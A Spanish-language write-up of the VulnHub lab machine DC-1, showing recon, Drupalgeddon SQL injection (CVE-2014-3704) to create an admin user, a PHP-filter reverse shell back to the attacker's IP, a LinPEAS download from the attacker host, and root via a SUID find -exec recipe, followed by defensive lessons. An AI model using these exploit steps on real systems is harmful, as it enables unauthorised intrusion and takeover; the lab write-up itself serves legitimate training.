the_open_door
café
ESEN

DC-1

VulnHubFácilLinux11.0.0.132

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#vulnhub#drupal#drupalgeddon#sqli#cve-2014-3704#php-filter#reverse-shell#find-suid#suid#gtfobins#linpeas
TL;DR. DC-1 es una máquina Debian que sirve un Drupal 7 sobre Apache 2.2.22. La versión es anterior a la 7.32, así que es vulnerable a Drupalgeddon (CVE-2014-3704): una inyección SQL no autenticada que permite crear un usuario administrador. Con acceso al panel se habilita el módulo PHP Filter, se publica un post con una reverse shell PHP y se cae como www-data. Para la escalada, el binario /usr/bin/find tiene el bit SUID con propietario root, y su parámetro -exec da una shell de root directa (receta de GTFOBins).

Reconocimiento

La máquina está en la red local. Un arp-scan sobre la interfaz descubre su dirección; la IP objetivo es 11.0.0.132.

arp-scan --localnet -I eth0
Interface: eth0, type: EN10MB, MAC: 00:0c:29:6c:50:e2, IPv4: 11.0.0.129
11.0.0.1    00:50:56:c0:00:03  VMware, Inc.
11.0.0.132  00:0c:29:3b:12:3c  VMware, Inc.
11.0.0.254  00:50:56:f0:ef:90  VMware, Inc.

Un ping de confirmación devuelve ttl=64, indicio (no prueba) de un sistema Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que un valor cercano a 64 sugiere que no hay saltos intermedios.

ping -c 1 11.0.0.132
64 bytes from 11.0.0.132: icmp_seq=1 ttl=64 time=0.359 ms

Enumeración de servicios

Un primer escaneo a todo el rango de puertos TCP con nmap revela cuatro puertos abiertos.

nmap -p- -sS --min-rate 5000 -n -Pn --open -vvv 11.0.0.132
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
37393/tcp open  status

Un segundo escaneo dirigido, con detección de versiones y scripts por defecto, concreta las tecnologías.

nmap -p22,80,111,37393 -sCV -n -Pn 11.0.0.132 -oN targeted_scan
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
| http-robots.txt: 36 disallowed entries (15 shown)
|_ /includes/ /misc/ /modules/ /CHANGELOG.txt /cron.php /install.php ...
111/tcp   open  rpcbind 2-4 (RPC #100000)
37393/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El puerto 80 es lo interesante. whatweb confirma que detrás hay un CMS Drupal 7 sobre PHP 5.4.

whatweb http://11.0.0.132
http://11.0.0.132 [200 OK] Apache[2.2.22], Drupal, HTTPServer[Debian Linux][Apache/2.2.22 (Debian)],
MetaGenerator[Drupal 7 (http://drupal.org)], PHP[5.4.45-0+deb7u14], PasswordField[pass],
Title[Welcome to Drupal Site | Drupal Site], X-Powered-By[PHP/5.4.45-0+deb7u14]

Drupal 7 en versiones anteriores a la 7.32 arrastra una de las vulnerabilidades más conocidas de la historia del CMS, así que ese es el vector a probar.

Shell como www-data

Drupalgeddon: SQLi no autenticada (CVE-2014-3704)

Drupal 7 (< 7.32) tiene una inyección SQL crítica en la función de expansión de arrays de su API de base de datos. Es explotable sin autenticación: una petición al endpoint de registro de usuarios, especialmente construida, permite manipular la consulta y crear un usuario administrador. Se la conoce como Drupalgeddon (CVE-2014-3704, CVSS 10).

searchsploit lista varios exploits públicos; el 34992.py es el adecuado para crear el usuario admin.

searchsploit drupal 7
searchsploit -m 34992
python2 34992.py -t http://11.0.0.132 -u test -p test

El exploit confirma que el objetivo es vulnerable y crea el usuario test:test con rol de administrador.

Exploit 34992.py (Drupalgeddon) marcando VULNERABLE y creando el usuario administrador test:test

                    Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n
                            Admin 4cc0unt cr3at0r
        Discovered by:  Stefan Horst  (CVE-2014-3704)

[!] VULNERABLE!
[!] Administrator user created!
[*] Login: test
[*] Pass: test
[*] Url: http://11.0.0.132/?q=node&destination=node

Iniciamos sesión en http://11.0.0.132/?q=user con esas credenciales y comprobamos que efectivamente entramos con acceso al panel.

Sesión iniciada en Drupal como el usuario test recién creado, con opción de administración

De administrador de Drupal a RCE con PHP Filter

Ser administrador de Drupal no es todavía ejecución de comandos, pero Drupal trae un módulo, PHP Filter, que permite que un contenido se evalúe como código PHP. Está desactivado por defecto; lo habilitamos desde admin/modules.

Módulo PHP filter resaltado en admin/modules de Drupal, pendiente de activar

Con el módulo activo, creamos un artículo cuyo cuerpo es la reverse shell PHP de pentestmonkey y, muy importante, seleccionamos Text format: PHP code para que el cuerpo se ejecute en lugar de mostrarse. Apuntamos la shell a nuestra IP (11.0.0.129) y al puerto 4444.

Artículo de Drupal con la reverse shell PHP en el cuerpo y el formato de texto PHP seleccionado

Con un listener a la escucha, al visitar el artículo se dispara la shell. Cae la conexión como www-data y la promocionamos a una PTY interactiva.

nc -lvnp 4444
# o, como en las capturas, un handler tipo penelope

Reverse shell recibida desde DC-1 como www-data y estabilizada a PTY; a la derecha, el artículo publicado en Drupal

[+] Got reverse shell from DC-1~11.0.0.132-Linux-i686 😎 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python!
www-data@DC-1:/$

Escalada de privilegios: find con SUID

Enumeración: binarios SUID

Ya dentro como www-data, el primer reflejo es buscar binarios SUID a mano (corren con los privilegios de su dueño; los que pertenecen a root son candidatos directos a escalada):

find / -perm -4000 -type f 2>/dev/null

/usr/bin/find aparece con el bit SUID y propietario root, algo que no debería ocurrir. Para no fiarlo todo a la vista a ojo, transferimos también LinPEAS con un servidor HTTP en la atacante y lo ejecutamos en la víctima; llega a la misma conclusión y la resalta:

# atacante
python3 -m http.server 8080
# víctima
wget http://11.0.0.129:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

En el apartado Files with Interesting Permissions (SUID), LinPEAS (repo) resalta /usr/bin/find con el bit SUID activado y propietario root. Ese binario no debería tener SUID.

LinPEAS listando binarios SUID; /usr/bin/find aparece resaltado como vector de escalada

╔══════════╣ Files with Interesting Permissions
╚ SUID - Check easy privesc, exploits and write perms
-rwsr-xr-x 1 root root    87K Dec 10  2012 /bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7...
-rwsr-xr-x 1 root root    31K Apr 13  2011 /bin/ping
-rwsr-xr-x 1 root root    35K Feb 27  2017 /bin/su
-rwsr-sr-x 1 daemon daemon 50K Oct  4  2014 /usr/bin/at  --->  RTru64_UNIX_4.0g(CVE-2002-1614)
...
-rwsr-xr-x 1 root root   159K Jan  6  2012 /usr/bin/find
-rwsr-xr-x 1 root root   916K Feb 11  2018 /usr/sbin/exim4
-rwsr-xr-x 1 root root    83K May 22  2013 /sbin/mount.nfs

Abuso de find -exec

Cuando un binario tiene el bit SUID y pertenece a root, se ejecuta con privilegios efectivos de root. find permite lanzar comandos con su parámetro -exec, así que heredamos esos privilegios. GTFOBins documenta la receta: con -exec /bin/sh -p obtenemos una shell privilegiada (-p evita que la shell descarte el UID efectivo).

find . -exec /bin/bash -p \; -quit
whoami
cat /root/thefinalflag.txt

La shell resultante es de root. Leemos la flag final y con ella se confirma el compromiso total de DC-1.

Shell de root obtenida con find SUID; whoami devuelve root y se lee thefinalflag.txt

www-data@DC-1:/tmp$ find . -exec /bin/bash -p \; -quit
bash-4.2# whoami
root
bash-4.2# cd /root
bash-4.2# ls
thefinalflag.txt
bash-4.2# cat thefinalflag.txt
Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

Cadena de ataque

Drupal 7 (< 7.32) en :80
   └─ Drupalgeddon / CVE-2014-3704 (SQLi no auth) ── crea admin test:test
        └─ PHP Filter + post con reverse shell ── shell como www-data
             └─ LinPEAS: /usr/bin/find con SUID root
                  └─ find -exec /bin/sh -p ── shell como root ── thefinalflag.txt

Lecciones aprendidas

  • Un CMS desactualizado es una puerta abierta. Drupal 7 < 7.32 es explotable sin credenciales; la versión se filtra por el MetaGenerator y el X-Powered-By. Mantener el CMS parcheado (SA-CORE-2014-005) habría cortado el vector de entrada.
  • PHP Filter convierte "administrador del CMS" en "ejecución de comandos". Permitir que el contenido evalúe PHP es, de facto, una RCE para cualquiera con permisos de edición. Conviene mantenerlo desactivado.
  • Los binarios SUID son un clásico de la escalada. find con SUID no aporta ninguna funcionalidad legítima y sí un camino directo a root. Auditar periódicamente find / -perm -4000 -type f 2>/dev/null y retirar el bit donde no haga falta.
  • La verificación es la prueba. Tras cada paso (crear el admin, activar PHP Filter, disparar la shell, abusar de find) se comprueba el resultado antes de avanzar, no se da por hecho.
Cheatsheet de comandos 11 comandos

Repaso rápido